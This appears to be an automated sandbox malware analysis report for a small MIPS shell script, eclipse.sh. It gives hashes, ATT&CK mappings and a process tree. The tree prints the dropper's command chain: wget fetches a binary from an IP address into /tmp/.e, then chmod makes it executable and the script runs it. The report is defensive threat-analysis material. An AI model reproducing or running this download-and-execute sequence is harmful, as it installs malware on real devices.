7a4432b5712258fe21392aaa5f336b8330c4ab86592829c0a5e5a24ba763c0b4

Analysis

max time kernel
1s
max time network
3s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
02/10/2026, 18:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
eclipse.sh
Size 485B
Sample261002-w95fcsvgjd
SHA256 7a4432b5712258fe21392aaa5f336b8330c4ab86592829c0a5e5a24ba763c0b4
MD5 51a941cf8f230d71724db1a19cd9d1e5
SHA1 1f36de11b2cabcfcee49c8b0943c49a8f876f33a
SHA512 1248266bb824fc0a2bcecfb2a621b6b23ff46cf3910d42eea171d3a66a90c00b200b44987f6afe29c3db96acbff08e34a45148793f8cab3f51202253bde173ce
TLSH
T103F097C6F0207D32C2C6240C1F0A71E691DA0C892A80DD98A4C3FCB4FC1A24978A3B44
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
732	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/.e	714	eclipse.sh

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
714	eclipse.sh
722	wget

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.e	wget

/tmp/eclipse.sh
/tmp/eclipse.sh
1⤵
- Executes dropped EXE
- System Network Configuration Discovery
PID:714
- /bin/uname
  uname -m
  2⤵
  PID:716
- /bin/rm
  rm -f .e
  2⤵
  PID:717
- /usr/bin/wget
  wget -q http://176.65.139.78/eclipse.mips -O .e
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:722
- /bin/chmod
  chmod +x .e
  2⤵
  - File and Directory Permissions Modification
  PID:732

/tmp/.e
./.e
1⤵
PID:714

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Path /tmp/.e
Size 673KB
SHA256 592e7b8b2f5229b8d132f9d6a38dc992ff16bc1dd0dc4de9cce280759e5043d1
MD5 7ad8975758e1b6c87a5fbdef8e1efd12
SHA1 d7b3b1581d9b53b0088b388380fd082d9b17bd8d
SHA512 cbf41c622467cc5c88f480b24e81376075d11a1585d13e5b6fbebca938a8842b314d509348b9f30ed0533f177a037c8c44f02178f190defc01c7950fa05bed55
SSDEEP 6144:1etRqLqAkOgt+uH2skhgb78TbcH3YkNAt7CKUpsENDWoGa1yuRwbLPoQh7GgvAOX:KjkdsrjUSPCDsqnt4tiwc
TLSH
T1D2E4A61B7E22DF7AF578873047F38A24969D32D637E18584A19DD60C1F2028E591FBE8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download